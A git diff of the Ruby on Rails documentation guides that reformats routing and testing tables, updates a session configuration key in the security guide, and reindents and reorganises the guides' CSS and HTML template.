+|POST |/photos |Images |create |create a new image
+|GET |/photos/1 |Images |show |display a specific image
+|GET |/photos/1/edit |Images |edit |return an HTML form for editing a image
+|PUT |/photos/1 |Images |update |update a specific image
+|DELETE |/photos/1 |Images |destroy |delete a specific image
+|==========================================================================================================
NOTE: The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on.
@@ -328,18 +325,17 @@ map.resources :photos, :as => "images"
will recognize incoming URLs containing +image+ but route the requests to the Photos controller:
-[grid="all"]
-`----------`---------------`-----------`--------`-------------------------------------------
-HTTP verb URL controller action used for
---------------------------------------------------------------------------------------------
-GET /images Photos index display a list of all photos
-GET /images/new Photos new return an HTML form for creating a new photo
-POST /images Photos create create a new photo
-GET /images/1 Photos show display a specific photo
-GET /images/1/edit Photos edit return an HTML form for editing a photo
-PUT /images/1 Photos update update a specific photo
-DELETE /images/1 Photos destroy delete a specific photo
---------------------------------------------------------------------------------------------
+[options="header"]
+|==========================================================================================================
+|HTTP verb |URL |controller |action |used for
+|GET |/images |Photos |index |display a list of all photos
+|GET |/images/new |Photos |new |return an HTML form for creating a new photo
+|POST |/images |Photos |create |create a new photo
+|GET |/images/1 |Photos |show |display a specific photo
+|GET |/images/1/edit |Photos |edit |return an HTML form for editing a photo
+|PUT |/images/1 |Photos |update |update a specific photo
+|DELETE |/images/1 |Photos |destroy |delete a specific photo
+|==========================================================================================================
NOTE: The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on.
@@ -452,18 +448,17 @@ end
In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:
-[grid="all"]
-`----------`-----------------------`-----------`--------`-------------------------------------------
-HTTP verb URL controller action used for
---------------------------------------------------------------------------------------------
-GET /magazines/1/ads Ads index display a list of all ads for a specific magazine
-GET /magazines/1/ads/new Ads new return an HTML form for creating a new ad belonging to a specific magazine
-POST /magazines/1/ads Ads create create a new ad belonging to a specific magazine
-GET /magazines/1/ads/1 Ads show display a specific ad belonging to a specific magazine
-GET /magazines/1/ads/1/edit Ads edit return an HTML form for editing an ad belonging to a specific magazine
-PUT /magazines/1/ads/1 Ads update update a specific ad belonging to a specific magazine
-DELETE /magazines/1/ads/1 Ads destroy delete a specific ad belonging to a specific magazine
---------------------------------------------------------------------------------------------
+[options="header"]
+|==========================================================================================================
+|HTTP verb |URL |controller |action |used for
+|GET |/magazines/1/ads |Ads |index |display a list of all ads for a specific magazine
+|GET |/magazines/1/ads/new |Ads |new |return an HTML form for creating a new ad belonging to a specific magazine
+|POST |/magazines/1/ads |Ads |create |create a new ad belonging to a specific magazine
+|GET |/magazines/1/ads/1 |Ads |show |display a specific ad belonging to a specific magazine
+|GET |/magazines/1/ads/1/edit |Ads |edit |return an HTML form for editing an ad belonging to a specific magazine
+|PUT |/magazines/1/ads/1 |Ads |update |update a specific ad belonging to a specific magazine
+|DELETE |/magazines/1/ads/1 |Ads |destroy |delete a specific ad belonging to a specific magazine
+|==========================================================================================================
This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+.
@@ -795,7 +790,7 @@ As with conditions in RESTful routes, you can specify +:get+, +:post+, +:put+, +
=== Route Globbing
-Route globbing is a way to specify that a particular parameter (which must be the last parameter in the route) should be matched to all the remaining parts of a route. For example
+Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example
[source, ruby]
-------------------------------------------------------
diff --git a/railties/doc/guides/source/security.txt b/railties/doc/guides/source/security.txt
index 9b3f47932e..b4e8bb4b41 100644
--- a/railties/doc/guides/source/security.txt
+++ b/railties/doc/guides/source/security.txt
@@ -93,7 +93,7 @@ That means the security of this storage depends on this secret (and of the diges
....................................
config.action_controller.session = {
- :session_key => ‘_app_session’,
+ :key => ‘_app_session’,
:secret => ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
}
....................................
diff --git a/railties/doc/guides/source/stylesheets/base.css b/railties/doc/guides/source/stylesheets/base.css
index 1cf0a3de98..2bf0b93c40 100644
--- a/railties/doc/guides/source/stylesheets/base.css
+++ b/railties/doc/guides/source/stylesheets/base.css
@@ -6,95 +6,95 @@
1. General HTML elements
2. General classes
3. General structure
- 1. header
- 2. Content
- 3. Sidebar
- 4. Sitewide elements
- 1. Introduction boxes
- 2. Navigation
+ 1. header
+ 2. Content
+ 3. Sidebar
+ 4. Sitewide elements
+ 1. Introduction boxes
+ 2. Navigation
5. Elements for specific areas
- 1. Weblog
-
+ 1. Weblog
+
---------------------------------------------------------------------------- */
* {
- margin: 0;
- padding: 0;
+ margin: 0;
+ padding: 0;
}
-body {
- color: #333333;
+body {
+ color: #333333;
+
+ background-color: #FFFFFF;
+ background-image: url(../images/header_backdrop.png);
+ background-repeat: repeat-x;
+ background-position: 0 -25px;
- background-color: #FFFFFF;
- background-image: url(../images/header_backdrop.png);
- background-repeat: repeat-x;
- background-position: 0 -25px;
+ font-size: 80%;
+ font-family: verdana, helvetica, arial, sans-serif;
+ line-height: 1.7em;
- font-size: 80%;
- font-family: verdana, helvetica, arial, sans-serif;
- line-height: 1.7em;
-
- /* Center in IE5.5 */
- text-align: center;
+ /* Center in IE5.5 */
+ text-align: center;
}
h1 {
- font-size: 2em;
- font-weight: normal;
- letter-spacing: -0.04em;
+ font-size: 2em;
+ font-weight: normal;
+ letter-spacing: -0.04em;
}
h2 {
- font-size: 1.5em;
- font-weight: normal;
- letter-spacing: -0.04em;
+ font-size: 1.5em;
+ font-weight: normal;
+ letter-spacing: -0.04em;
}
h1,h2,h3,h4,h5,h6 {
- margin-top: 1em;
- margin-bottom: 0.5em;
+ margin-top: 1em;
+ margin-bottom: 0.5em;
}
.pageheader a:link, .pageheader a:visited{
- color: #333;
+ color: #333;
text-decoration: none;
}
img {
- border: none;
+ border: none;
}
p {
- margin-bottom: 1em;
+ margin-bottom: 1em;
}
a:link {
- color: #BB2233;
+ color: #BB2233;
}
a:visited {
- color: #991122;
+ color: #991122;
}
a:hover {
- color: #CC2233;
- background-color: #EEEEEE;
+ color: #CC2233;
+ background-color: #EEEEEE;
}
a:active {
}
ul {
- margin-top: 1em;
- list-style-type: none;
+ margin-top: 1em;
+ list-style-type: none;
}
ul li {
- margin-left: 0.5em;
- padding-left: 1em;
-
- background-image: url(../images/bullet.gif);
- background-repeat: no-repeat;
- background-position: 0 0.55em;
+ margin-left: 0.5em;
+ padding-left: 1em;
+
+ background-image: url(../images/bullet.gif);
+ background-repeat: no-repeat;
+ background-position: 0 0.55em;
}
ul li p {
@@ -102,98 +102,98 @@ ul li p {
}
/* ----------------------------------------------------------------------------
- Structure
+ Structure
---------------------------------------------------------------------------- */
div#container {
- width: 90%;
- max-width: 790px;
+ width: 90%;
+ max-width: 790px;
- margin-top: 10px;
- margin-left: auto;
- margin-right: auto;
+ margin-top: 10px;
+ margin-left: auto;
+ margin-right: auto;
- font-size: 1em;
+ font-size: 1em;
- /* Don't center text, only div#container */
- text-align: left;
+ /* Don't center text, only div#container */
+ text-align: left;
}
div#header {
- /* This height controls the vertical position of #content and #sidebar */
- height: 160px;
- overflow: hidden;
+ /* This height controls the vertical position of #content and #sidebar */
+ height: 160px;
+ overflow: hidden;
}
div#header h1 {
- height: 30px;
-
- margin: 0;
- margin-top: 10px;
- margin-left: 100px;
- padding: 0;
- font-weight: bold;
- font-size: 24pt;
+ height: 30px;
+
+ margin: 0;
+ margin-top: 10px;
+ margin-left: 100px;
+ padding: 0;
+ font-weight: bold;
+ font-size: 24pt;
}
div#header p {
- height: 30px;
- margin: 0;
- margin-left: 160px;
- padding: 0;
- font-weight: bold;
- font-size: 14pt;
- color: #999;
+ height: 30px;
+ margin: 0;
+ margin-left: 160px;
+ padding: 0;
+ font-weight: bold;
+ font-size: 14pt;
+ color: #999;
}
/*
div#logo {
- float: left;
- width: 110px;
- height: 140px;
- margin-right: 31px;
+ float: left;
+ width: 110px;
+ height: 140px;
+ margin-right: 31px;
}
*/
div#content {
- margin-left: 170px;
+ margin-left: 170px;
}
/* Fix the IE only 3pixel jog - documented at http://www.positioniseverything.net/articles/hollyhack.html#haslayout \*/
* html #content {
- height: 1px;
+ height: 1px;
}
/* End hide from IE5-mac */
div#sidebar {
- float: left;
- width: 170px;
- margin-top: -4px;
- font-size: 0.8em;
+ float: left;
+ width: 170px;
+ margin-top: -4px;
+ font-size: 0.8em;
}
div#sidebar h2 {
- margin: 0;
- font-size: 1.1em;
- font-weight: bold;
+ margin: 0;
+ font-size: 1.1em;
+ font-weight: bold;
}
div#sidebar ul {
- margin-top: 0;
- margin-bottom: 1em;
- padding: 0;
+ margin-top: 0;
+ margin-bottom: 1em;
+ padding: 0;
}
div#sidebar ol li {
- margin: 0 0 2px 0px;
- padding: 0;
- line-height: 1.3em;
- background-image: none;
+ margin: 0 0 2px 0px;
+ padding: 0;
+ line-height: 1.3em;
+ background-image: none;
}
div#sidebar ol li a {
- display: block;
- width: 150px;
- padding: 0.2em 0;
+ display: block;
+ width: 150px;
+ padding: 0.2em 0;
}
div#sidebar ul li {
@@ -203,160 +203,160 @@ div#sidebar ul li {
div#sidebar ol>ol {
padding-left: 5px;
padding-right: 5px;
- list-style-type: none;
-
+ list-style-type: none;
+
}
div#sidebar ol>ol li a {
- display: block;
- width: 140px;
- padding: 0.2em 0;
- margin-left: 10px;
-
+ display: block;
+ width: 140px;
+ padding: 0.2em 0;
+ margin-left: 10px;
+
}
div#sidebar ol li a:hover {
}
/* ----------------------------------------------------------------------------
- Specific site-wide elements
+ Specific site-wide elements
---------------------------------------------------------------------------- */
/* Introduction boxes */
.introduction {
- margin-bottom: 1em;
- padding: 1em;
- background-color: #D6DFE8;
+ margin-bottom: 1em;
+ padding: 1em;
+ background-color: #D6DFE8;
}
.introduction p {
- margin-bottom: 0;
+ margin-bottom: 0;
}
/* Navigation */
ul#navMain {
- height: 22px;
- margin: 0;
- margin-left: 140px;
- padding: 16px 0;
+ height: 22px;
+ margin: 0;
+ margin-left: 140px;
+ padding: 16px 0;
- list-style-type: none;
+ list-style-type: none;
}
ul#navMain li {
- display: inline;
- background-image: none;
- margin: 0;
- padding: 0;
+ display: inline;
+ background-image: none;
+ margin: 0;
+ padding: 0;
}
ul#navMain li {
- border-left: 1px solid #FFFFFF;
+ border-left: 1px solid #FFFFFF;
}
ul#navMain li.first-child {
- /* Wouldn't it be nice if IE was up-to-date with the rest of the world so we could skip
- superfluous classes? */
- border-left: none;
+ /* Wouldn't it be nice if IE was up-to-date with the rest of the world so we could skip
+ superfluous classes? */
+ border-left: none;
}
-ul#navMain li a {
- padding: 0.2em 1em;
-
- color: #FFFFFF;
- text-decoration: none;
+ul#navMain li a {
+ padding: 0.2em 1em;
+
+ color: #FFFFFF;
+ text-decoration: none;
}
ul#navMain li.first-child a {
- /* Wouldn't it be nice if IE was up-to-date with the rest of the world? */
- padding-left: 0;
+ /* Wouldn't it be nice if IE was up-to-date with the rest of the world? */
+ padding-left: 0;
}
-ul#navMain li a:hover {
- text-decoration: underline;
- background-color: transparent;
+ul#navMain li a:hover {
+ text-decoration: underline;
+ background-color: transparent;
}
/* Mark the current page */
ul#navMain li.current a {
- font-weight: bold;
+ font-weight: bold;
}
/* ----------------------------------------------------------------------------
- Elements for specific areas
+ Elements for specific areas
---------------------------------------------------------------------------- */
/* Weblog */
.blogEntry {
- margin-bottom: 2em;
+ margin-bottom: 2em;
}
.blogEntry h2 {
- margin-top: 0;
- margin-bottom: 0;
+ margin-top: 0;
+ margin-bottom: 0;
}
p.metaData {
- color: #999999;
- font-size: 0.9em;
+ color: #999999;
+ font-size: 0.9em;
}
/* Reference documentation */
#reference #sidebar {
- display: none;
- width: 0;
+ display: none;
+ width: 0;
}
#reference #content {
- margin-left: 0;
+ margin-left: 0;
}
#reference #content #api {
- width: 100%;
- height: 800px;
+ width: 100%;
+ height: 800px;
}
#reference #logo {
- width: 80px;
- height: 86px;
+ width: 80px;
+ height: 86px;
- margin-right: 0;
+ margin-right: 0;
}
#reference #logo img {
- height: 84px;
+ height: 84px;
}
#reference {
- /* The header is smaller on the reference page, move the background up so the menu is in the
- proper place still */
- background-position: 0 -70px;
+ /* The header is smaller on the reference page, move the background up so the menu is in the
+ proper place still */
+ background-position: 0 -70px;
}
#reference #header {
- height: 90px;
+ height: 90px;
}
#reference #header h1 {
- height: 24px;
+ height: 24px;
+
+ margin-top: 2px;
+ margin-left: 0;
+
+ background-image: none;
- margin-top: 2px;
- margin-left: 0;
-
- background-image: none;
+ text-indent: 0;
+ font-size: 1.5em;
+ font-weight: bold;
- text-indent: 0;
- font-size: 1.5em;
- font-weight: bold;
-
}
#reference #container {
- max-width: 100%;
+ max-width: 100%;
} \ No newline at end of file
diff --git a/railties/doc/guides/source/stylesheets/forms.css b/railties/doc/guides/source/stylesheets/forms.css
index a3fce205b7..1da34dc999 100644
--- a/railties/doc/guides/source/stylesheets/forms.css
+++ b/railties/doc/guides/source/stylesheets/forms.css
@@ -1,7 +1,7 @@
label, input {
- display: block;
- float: left;
- margin-bottom: 10px;
+ display: block;
+ float: left;
+ margin-bottom: 10px;
}
label {
@@ -25,7 +25,7 @@ form>h1{
}
td {
- vertical-align: top;
+ vertical-align: top;
}
#livepreview {
diff --git a/railties/doc/guides/source/stylesheets/more.css b/railties/doc/guides/source/stylesheets/more.css
index 9446b439d4..756ae06d0e 100644
--- a/railties/doc/guides/source/stylesheets/more.css
+++ b/railties/doc/guides/source/stylesheets/more.css
@@ -12,8 +12,8 @@
border: 1px solid #ccc;
}
-pre {
- overflow: auto;
+pre {
+ overflow: auto;
}
#content pre, #content ul {
@@ -25,13 +25,13 @@ pre {
}
div#header h1 a{
- color: #333333;
- text-decoration: none;
+ color: #333333;
+ text-decoration: none;
}
div#header p a{
text-decoration: none;
- color: #999;
+ color: #999;
}
.left-floaty {
@@ -80,3 +80,174 @@ div#header p a{
font-size: small;
padding-right: 1em;
}
+
+div#container {
+ max-width: 900px;
+ padding-bottom: 3em;
+}
+
+div#content {
+ margin-left: 200px;
+}
+
+div#container.notoc {
+ max-width: 600px;
+}
+
+.notoc div#content {
+ margin-left: 0;
+}
+
+pre {
+ line-height: 1.4em;
+}
+
+#content p tt {
+ background: #eeeeee;
+ border: solid 1px #cccccc;
+ padding: 3px;
+}
+
+dt {
+ font-weight: bold;
+}
+
+#content dt tt {
+ font-size: 10pt;
+}
+
+dd {
+ margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+ background: none;
+ padding: 0;
+ border: 0;
+}
+
+#content .olist ol {
+ margin-left: 2em;
+}
+
+#header {
+ position: relative;
+ max-width: 840px;
+ margin-left: auto;
+ margin-right: auto;
+}
+
+#header.notoc {
+ max-width: 580px;
+}
+
+#logo {
+ position: absolute;
+ left: 10px;
+ top: 10px;
+ width: 110px;
+ height: 140px;
+}
+
+div#header h1#site_title {
+ background: url('../images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+ position: absolute;
+ width: 392px;
+ height: 55px;
+ left: 145px;
+ top: 20px;
+ margin: 0;
+ padding: 0;
+}
+
+#site_title span {
+ display: none;
+}
+
+#site_title_tagline {
+ display: none;
+}
+
+ul#navMain {
+ position: absolute;
+ margin: 0;
+ padding: 0;
+ top: 97px;
+ left: 145px;
+}
+
+.left-floaty, .right-floaty {
+ padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+ margin-left: 1em;
+ margin-right: 1em;
+ margin-top: 0.25em;
+ margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+ padding-right: 8px;
+}
+
+.admonitionblock .content {
+ border: solid 1px #ffda78;
+ background: #fffebd;
+ padding: 10px;
+ padding-top: 8px;
+ padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+ font-size: 140%;
+ margin-bottom: 0.5em;
+}
+
+.tableblock table {
+ border: solid 1px #aaaaff;
+ background: #f0f0ff;
+}
+
+.tableblock th {
+ background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+ padding: 3px;
+ padding-left: 5px;
+ padding-right: 5px;
+}
+
+.sidebarblock {
+ margin-top: 0.25em;
+ margin: 1em;
+ border: solid 1px #ccccbb;
+ padding: 8px;
+ background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+ font-size: 140%;
+ font-weight: 600;
+ margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+ margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+ text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+ text-decoration: underline;
+}
+
+
+
+
+
diff --git a/railties/doc/guides/source/templates/guides.html.erb b/railties/doc/guides/source/templates/guides.html.erb
index d69cf5e08a..ae1145c1ae 100644
--- a/railties/doc/guides/source/templates/guides.html.erb
+++ b/railties/doc/guides/source/templates/guides.html.erb
@@ -1,97 +1,94 @@
<%-
- manuals_index_url = ENV['MANUALSONRAILS_INDEX_URL'] || "index.html"
- show_toc = ENV['MANUALSONRAILS_TOC'] != 'no'
+ manuals_index_url = ENV['MANUALSONRAILS_INDEX_URL'] || "index.html"
+ show_toc = ENV['MANUALSONRAILS_TOC'] != 'no'
-%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title><%- if multi_page? && !is_preamble? -%><%=h current_chapter.plain_title %> :: <% end %><%=h title %></title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- <%= include_file('inline.css') %>
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title><%- if multi_page? && !is_preamble? -%><%=h current_chapter.plain_title %> :: <% end %><%=h title %></title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" <% if !show_toc %> class="notoc"<% end %>>
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+ <div id="header" <% if !show_toc %> class="notoc"<% end %>>
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
- <div id="container"<% if !show_toc %> class="notoc"<% end %>>
- <% if show_toc %>
- <div id="sidebar">
- <h2>Chapters</h2>
- <%- if multi_page? -%>
- <a href="<%=h chapters.first.basename %>">Preamble</a>
- <%- end -%>
- <ol>
- <%- if multi_page? -%>
- <%- for heading in table_of_contents -%>
- <li>
- <a href="<%=h heading.basename %>"><%= heading.title_without_numbers %></a>
- <%- if !heading.children.empty? -%>
- <ul>
- <% for h in heading.children %>
- <li><a href="<%=h h.basename %><%=h h.anchor %>"><%= h.title_without_numbers %></a></li>
- <% end %>
- </ul>
- <%- end -%>
- </li>
- <%- end -%>
- <%- else -%>
- <%- for heading in table_of_contents -%>
- <li>
- <a href="<%=h heading.anchor %>"><%= heading.title_without_numbers %></a>
- <%- if !heading.children.empty? -%>
- <ul>
- <% for h in heading.children %>
- <li><a href="<%=h h.anchor %>"><%= h.title_without_numbers %></a></li>
- <% end %>
- </ul>
- <%- end -%>
- </li>
- <%- end -%>
- <%- end -%>
- </ol>
- </div>
- <% end %>
- <div id="content">
- <%- if multi_page? && !is_preamble? -%>
- <h2 id="<%=h current_chapter.anchor_id %>"><%= current_chapter.title %></h2>
- <%- else -%>
- <h1><%=h title %></h1>
- <%- end -%>
- <%= contents %>
- <%- if multi_page? -%>
- <div id="chapter_navigation">
- <%- if prev_chapter -%>
- <div class="left-floaty">
- <a href="<%=h prev_chapter.basename %>">&laquo; <%= prev_chapter.title %></a>
- </div>
- <%- end -%>
- <%- if next_chapter -%>
- <div class="right-floaty">
- <a href="<%=h next_chapter.basename %>"><%= next_chapter.title %> &raquo;</a>
- </div>
- <%- end -%>
- </div>
- <%- end -%>
- </div>
- </div>
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container"<% if !show_toc %> class="notoc"<% end %>>
+ <% if show_toc %>
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <%- if multi_page? -%>
+ <a href="<%=h chapters.first.basename %>">Preamble</a>
+ <%- end -%>
+ <ol>
+ <%- if multi_page? -%>
+ <%- for heading in table_of_contents -%>
+ <li>
+ <a href="<%=h heading.basename %>"><%= heading.title_without_numbers %></a>
+ <%- if !heading.children.empty? -%>
+ <ul>
+ <% for h in heading.children %>
+ <li><a href="<%=h h.basename %><%=h h.anchor %>"><%= h.title_without_numbers %></a></li>
+ <% end %>
+ </ul>
+ <%- end -%>
+ </li>
+ <%- end -%>
+ <%- else -%>
+ <%- for heading in table_of_contents -%>
+ <li>
+ <a href="<%=h heading.anchor %>"><%= heading.title_without_numbers %></a>
+ <%- if !heading.children.empty? -%>
+ <ul>
+ <% for h in heading.children %>
+ <li><a href="<%=h h.anchor %>"><%= h.title_without_numbers %></a></li>
+ <% end %>
+ </ul>
+ <%- end -%>
+ </li>
+ <%- end -%>
+ <%- end -%>
+ </ol>
+ </div>
+ <% end %>
+ <div id="content">
+ <%- if multi_page? && !is_preamble? -%>
+ <h2 id="<%=h current_chapter.anchor_id %>"><%= current_chapter.title %></h2>
+ <%- else -%>
+ <h1><%=h title %></h1>
+ <%- end -%>
+ <%= contents %>
+ <%- if multi_page? -%>
+ <div id="chapter_navigation">
+ <%- if prev_chapter -%>
+ <div class="left-floaty">
+ <a href="<%=h prev_chapter.basename %>">&laquo; <%= prev_chapter.title %></a>
+ </div>
+ <%- end -%>
+ <%- if next_chapter -%>
+ <div class="right-floaty">
+ <a href="<%=h next_chapter.basename %>"><%= next_chapter.title %> &raquo;</a>
+ </div>
+ <%- end -%>
+ </div>
+ <%- end -%>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/source/templates/inline.css b/railties/doc/guides/source/templates/inline.css
deleted file mode 100644
index 1b406733de..0000000000
--- a/railties/doc/guides/source/templates/inline.css
+++ /dev/null
@@ -1,165 +0,0 @@
-div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
diff --git a/railties/doc/guides/source/testing_rails_applications.txt b/railties/doc/guides/source/testing_rails_applications.txt
index cb77829fc1..054260e276 100644
--- a/railties/doc/guides/source/testing_rails_applications.txt
+++ b/railties/doc/guides/source/testing_rails_applications.txt
@@ -228,16 +228,15 @@ NOTE: +db:test:prepare+ will fail with an error if db/schema.rb doesn't exists.
==== Rake Tasks for Preparing your Application for Testing ====
-[grid="all"]
-|------------------------------------------------------------------------------------
-|Tasks Description
-|------------------------------------------------------------------------------------
-|+rake db:test:clone+ Recreate the test database from the current environment's database schema
-|+rake db:test:clone_structure+ Recreate the test databases from the development structure
-|+rake db:test:load+ Recreate the test database from the current +schema.rb+
-|+rake db:test:prepare+ Check for pending migrations and load the test schema
-|+rake db:test:purge+ Empty the test database.
-|------------------------------------------------------------------------------------
+[options="header"]
+|==========================================================================================================
+|Tasks |Description
+|+rake db:test:clone+ |Recreate the test database from the current environment's database schema
+|+rake db:test:clone_structure+ |Recreate the test databases from the development structure
+|+rake db:test:load+ |Recreate the test database from the current +schema.rb+
+|+rake db:test:prepare+ |Check for pending migrations and load the test schema
+|+rake db:test:purge+ |Empty the test database.
+|==========================================================================================================
TIP: You can see all these rake tasks and their descriptions by running +rake \-\-tasks \-\-describe+
@@ -404,30 +403,29 @@ By now you've caught a glimpse of some of the assertions that are available. Ass
There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
-[grid="all"]
-`-----------------------------------------------------------------`------------------------------------------------------------------------
-Assertion Purpose
-------------------------------------------------------------------------------------------------------------------------------------------
-+assert( boolean, [msg] )+ Ensures that the object/expression is true.
-+assert_equal( obj1, obj2, [msg] )+ Ensures that +obj1 == obj2+ is true.
-+assert_not_equal( obj1, obj2, [msg] )+ Ensures that +obj1 == obj2+ is false.
-+assert_same( obj1, obj2, [msg] )+ Ensures that +obj1.equal?(obj2)+ is true.
-+assert_not_same( obj1, obj2, [msg] )+ Ensures that +obj1.equal?(obj2)+ is false.
-+assert_nil( obj, [msg] )+ Ensures that +obj.nil?+ is true.
-+assert_not_nil( obj, [msg] )+ Ensures that +obj.nil?+ is false.
-+assert_match( regexp, string, [msg] )+ Ensures that a string matches the regular expression.
-+assert_no_match( regexp, string, [msg] )+ Ensures that a string doesn't matches the regular expression.
-+assert_in_delta( expecting, actual, delta, [msg] )+ Ensures that the numbers `expecting` and `actual` are within `delta` of each other.
-+assert_throws( symbol, [msg] ) { block }+ Ensures that the given block throws the symbol.
-+assert_raises( exception1, exception2, ... ) { block }+ Ensures that the given block raises one of the given exceptions.
-+assert_nothing_raised( exception1, exception2, ... ) { block }+ Ensures that the given block doesn't raise one of the given exceptions.
-+assert_instance_of( class, obj, [msg] )+ Ensures that +obj+ is of the +class+ type.
-+assert_kind_of( class, obj, [msg] )+ Ensures that +obj+ is or descends from +class+.
-+assert_respond_to( obj, symbol, [msg] )+ Ensures that +obj+ has a method called +symbol+.
-+assert_operator( obj1, operator, obj2, [msg] )+ Ensures that +obj1.operator(obj2)+ is true.
-+assert_send( array, [msg] )+ Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?
-+flunk( [msg] )+ Ensures failure. This is useful to explicitly mark a test that isn't finished yet.
-------------------------------------------------------------------------------------------------------------------------------------------
+[options="header"]
+|==========================================================================================================================================
+|Assertion |Purpose
+|+assert( boolean, [msg] )+ |Ensures that the object/expression is true.
+|+assert_equal( obj1, obj2, [msg] )+ |Ensures that +obj1 == obj2+ is true.
+|+assert_not_equal( obj1, obj2, [msg] )+ |Ensures that +obj1 == obj2+ is false.
